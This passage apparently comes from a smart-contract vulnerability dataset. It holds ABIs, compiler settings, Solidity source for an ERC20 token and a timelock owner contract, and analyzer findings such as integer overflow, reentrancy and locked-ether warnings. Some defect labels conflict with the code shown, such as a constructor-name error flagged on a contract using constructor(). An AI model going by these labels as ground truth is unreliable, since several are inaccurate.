"SOLIDITY_VISIBILITY", "line": 94, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 94, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 97, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 97, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 97, "severity": 1}]
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"darklisted_newreward","type":"uint256"}],"name":"RewardAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"reward","type":"uint256"}],"name":"RewardPaid","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Staked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdrawn","type":"event"},{"inputs":[],"name":"DARK","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_darklisted_token","type":"address"}],"name":"approve_darkListing","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"darklisted_duration","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"darklisted_each_account_rewards","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"address","name":"token","type":"address"}],"name":"darklisted_earned","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"darklisted_getReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"darklisted_lastTimeRewardApplicable","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"darklisted_last_update_time","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"darklisted_lockedDetails","outputs":[{"internalType":"bool","name":"","type":"bool"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"darklisted_newreward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"darklisted_notifyRewardAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"darklisted_period_finish","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"darklisted_rewardPerToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"darklisted_reward_account_list","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"darklisted_reward_per_token_stored","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"darklisted_reward_rate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"darklisted_reward_to_send","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"darklisted_staker_accepted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"darklisted_token","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"darklisted_user_reward_per_token_paid","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"exit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_darklisted_token","type":"address"}],"name":"revoke_darkListing","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_darklisted_duration","type":"uint256"}],"name":"set_duration","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"set_period_finish","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"stake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_share","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.6.12+commit.27d51765
true
200
Default
None
false
ipfs://ffaea30dcc3ee03c91b1cb3d5def6a35d6e354abfc00e908e79746b2cb7d2b7d
AVGSToken
0xdc72fbcad0298916081e1b13e974f169422ed384
Solidity
pragma solidity ^0.4.24; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract AVGSToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "AVGS"; name = "Avengers"; decimals = 18; _totalSupply = 4685000000* (10 ** 18); balances[0x9d6E3Ad8DDd4C6CD9d7C77C5E61B2dBf60Dc5FC0] = _totalSupply; emit Transfer(address(0), 0x9d6E3Ad8DDd4C6CD9d7C77C5E61B2dBf60Dc5FC0, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } }
[{"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["47"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["42"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["62"]}]
[{"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AVGSToken.sol": [43]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AVGSToken.sol": [33]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AVGSToken.sol": [32]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AVGSToken.sol": [20, 21, 22, 23]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AVGSToken.sol": [31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AVGSToken.sol": [112, 113, 114, 115, 116, 117]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AVGSToken.sol": [121, 122, 123]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AVGSToken.sol": [29]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AVGSToken.sol": [34]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AVGSToken.sol": [30]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AVGSToken.sol": [16, 17, 18, 15]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"AVGSToken.sol": [1]}}, {"check": "locked-ether", "impact": "Medium", "confidence": "High", "lines": {"AVGSToken.sol": [121, 122, 123]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AVGSToken.sol": [51]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"AVGSToken.sol": [62]}}]
[{"error": "Integer Underflow.", "line": 48, "level": "Warning"}, {"error": "Integer Underflow.", "line": 69, "level": "Warning"}, {"error": "Integer Underflow.", "line": 49, "level": "Warning"}, {"error": "Integer Overflow.", "line": 112, "level": "Warning"}]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 63, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 64, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 69, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 29, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 30, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 31, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 68, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 73, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 106, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 88, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 47, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 121, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 121, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 43, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 112, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 53, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 54, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeSub","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeDiv","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"},{"name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeMul","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeAdd","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"tokenOwner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Approval","type":"event"}]
v0.4.24+commit.e67f0147
true
200
Default
None
false
bzzr://5d4cb26ce7ce73741c0c92e7de3fcad62c089c01f06c2e6ea1ab9aab93b898e5
TimelockOwned
0x1337def11d788e62a253fea846a505ee1b57623f
Solidity
// Sources flattened with hardhat v2.0.8 https://hardhat.org // File contracts/general/Ownable.sol pragma solidity ^0.6.6; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". * * @dev We've added a second owner to share control of the timelocked owner contract. */ contract Ownable { address private _owner; address private _pendingOwner; // Second allows a DAO to share control. address private _secondOwner; address private _pendingSecond; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event SecondOwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function initializeOwnable() internal { require(_owner == address(0), "already initialized"); _owner = msg.sender; _secondOwner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); emit SecondOwnershipTransferred(address(0), msg.sender); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @return the address of the owner. */ function secondOwner() public view returns (address) { return _secondOwner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "msg.sender is not owner"); _; } modifier onlyFirstOwner() { require(msg.sender == _owner, "msg.sender is not owner"); _; } modifier onlySecondOwner() { require(msg.sender == _secondOwner, "msg.sender is not owner"); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner || msg.sender == _secondOwner; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyFirstOwner { _pendingOwner = newOwner; } function receiveOwnership() public { require(msg.sender == _pendingOwner, "only pending owner can call this function"); _transferOwnership(_pendingOwner); _pendingOwner = address(0); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferSecondOwnership(address newOwner) public onlySecondOwner { _pendingSecond = newOwner; } function receiveSecondOwnership() public { require(msg.sender == _pendingSecond, "only pending owner can call this function"); _transferSecondOwnership(_pendingSecond); _pendingSecond = address(0); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferSecondOwnership(address newOwner) internal { require(newOwner != address(0)); emit SecondOwnershipTransferred(_secondOwner, newOwner); _secondOwner = newOwner; } uint256[50] private __gap; } // File contracts/general/TimelockOwned.sol // SPDX-License-Identifier: (c) Armor.Fi DAO, 2021 pragma solidity ^0.6.6; /** * @dev Simple timelock owner contract to be used until we implement a governance contract. **/ contract TimelockOwned is Ownable { // Incremental counter of proposal IDs. uint256 id; // Amount of time that must pass before a proposal can be implemented. Change this to 2 days before public launch. uint256 public timelock; struct Proposal { uint128 id; uint128 ending; address target; uint256 value; bytes data; } // Mapping of proposal ID => proposal struct. mapping (uint256 => Proposal) proposals; event ProposalSubmitted(uint256 id, address target, uint256 value, bytes data, uint256 timestamp, uint256 execTimestamp); event ProposalExecuted(uint256 id, address target, uint256 value, bytes data, uint256 timestamp); constructor() public { Ownable.initializeOwnable(); } /** * @dev External execution. **/ function implementProposal(uint256 _id) external onlyOwner { Proposal memory proposal = proposals[_id]; require(proposal.ending != 0 && proposal.ending <= block.timestamp); executeProposal(proposal.target, proposal.value, proposal.data); emit ProposalExecuted(_id, proposal.target, proposal.value, proposal.data, block.timestamp); delete proposals[_id]; } function submitProposal(address _target, uint256 _value, bytes calldata _data) external onlyOwner { id++; Proposal memory proposal = Proposal(uint128(id), uint128(block.timestamp + timelock), _target, _value, _data); proposals[id] = proposal; emit ProposalSubmitted(id, proposal.target, proposal.value, proposal.data, block.timestamp, uint256(proposal.ending)); } function deleteProposal(uint256 _id) external onlyOwner { delete proposals[_id]; } function changeTimelock(uint256 _time) public { require(msg.sender == address(this), "Only this contract may change timelock."); timelock = _time; } function executeProposal(address _target, uint256 _value, bytes memory _data) internal { (bool success, ) = _target.call{value: _value}(_data); require(success, "Failed to execute proposal"); } }
[{"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["186"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["126"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["86", "45", "78", "102", "110", "38", "70", "25"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["175", "176", "209"]}]
[{"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TimelockOwned.sol": [110, 111, 112, 113, 114]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TimelockOwned.sol": [41, 42, 43]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TimelockOwned.sol": [198, 199, 200, 201, 202, 203]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TimelockOwned.sol": [82, 83, 84]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TimelockOwned.sol": [86, 87, 88, 89, 90]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TimelockOwned.sol": [106, 107, 108]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TimelockOwned.sol": [48, 49, 50]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TimelockOwned.sol": [5]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TimelockOwned.sol": [134]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"TimelockOwned.sol": [208]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"TimelockOwned.sol": [83]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"TimelockOwned.sol": [107]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TimelockOwned.sol": [198]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TimelockOwned.sol": [181]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TimelockOwned.sol": [205]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TimelockOwned.sol": [181]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TimelockOwned.sol": [126]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TimelockOwned.sol": [205]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TimelockOwned.sol": [205]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TimelockOwned.sol": [191]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TimelockOwned.sol": [170]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TimelockOwned.sol": [181]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"TimelockOwned.sol": [178]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"TimelockOwned.sol": [177]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"TimelockOwned.sol": [175]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"TimelockOwned.sol": [139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 89, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 113, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 134, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 15, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 16, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 19, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 20, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 126, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 142, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 156, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":false,"internalType":"address","name":"target","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"ProposalExecuted","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":false,"internalType":"address","name":"target","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"execTimestamp","type":"uint256"}],"name":"ProposalSubmitted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"SecondOwnershipTransferred","type":"event"},{"inputs":[{"internalType":"uint256","name":"_time","type":"uint256"}],"name":"changeTimelock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_id","type":"uint256"}],"name":"deleteProposal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_id","type":"uint256"}],"name":"implementProposal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"receiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"receiveSecondOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"secondOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_target","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"submitProposal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"timelock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferSecondOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.6.12+commit.27d51765
false
200
Default
None
false
ipfs://dff832d5701f96f7e307e2010e68e4da59ffe8a9bc681aa63e75e6609eb382ea
ABERoll
0x9582940f86d1da372f382de6fa027d49fc5e0d28
Solidity
